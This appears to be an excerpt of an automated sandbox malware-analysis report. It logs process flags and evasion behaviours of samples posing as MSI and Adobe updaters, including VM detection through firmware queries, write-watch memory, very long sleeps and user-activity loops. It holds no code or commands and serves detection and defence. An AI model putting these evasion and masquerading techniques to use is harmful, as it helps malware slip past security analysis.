Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe System information queried: FirmwareTableInformation
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory allocated: 1350000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory allocated: 2F80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory allocated: 2EB0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: 2D60000 memory reserve | memory write watch
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: 3060000 memory reserve | memory write watch
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: 5060000 memory reserve | memory write watch
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: FD0000 memory reserve | memory write watch
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: 2BE0000 memory reserve | memory write watch
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: 2B30000 memory reserve | memory write watch
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Memory allocated: A90000 memory reserve | memory write watch
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Memory allocated: 2710000 memory reserve | memory write watch
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Memory allocated: D90000 memory reserve | memory write watch
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Memory allocated: 22E0000 memory reserve | memory write watch
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Memory allocated: 2560000 memory reserve | memory write watch
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Memory allocated: 22E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory allocated: CE0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory allocated: 2710000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory allocated: CE0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Window / User API: threadDelayed 405 Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Window / User API: threadDelayed 363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 406
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\OJa1BOigU3.exe TID: 3704 Thread sleep count: 68 > 30 Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe TID: 3704 Thread sleep count: 90 > 30 Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe TID: 3704 Thread sleep count: 59 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe TID: 4500 Thread sleep count: 405 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe TID: 4500 Thread sleep time: -40905s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe TID: 4500 Thread sleep count: 120 > 30 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe TID: 3164 Thread sleep count: 120 > 30 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe TID: 3164 Thread sleep count: 272 > 30 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe TID: 3164 Thread sleep count: 61 > 30 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe TID: 4520 Thread sleep count: 264 > 30 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe TID: 4520 Thread sleep count: 62 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe TID: 2520 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5436 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe TID: 4632 Thread sleep count: 363 > 30
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe TID: 4632 Thread sleep time: -36663s >= -30000s
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe TID: 4632 Thread sleep count: 56 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2200 Thread sleep count: 406 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2200 Thread sleep time: -41006s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2200 Thread sleep count: 127 > 30
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe TID: 2196 Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe TID: 1016 Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\MPGPH1\MPGPH1.exe TID: 6100 Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\MPGPH1\MPGPH1.exe TID: 4944 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2304 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2080 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6184 Thread sleep count: 309 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6184 Thread sleep time: -31209s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6184 Thread sleep count: 59 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6272 Thread sleep count: 314 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6272 Thread sleep time: -31714s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6272 Thread sleep count: 62 > 30
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe TID: 6856 Thread sleep time: -922337203685477s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Last function: Thread delayed
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Last function: Thread delayed
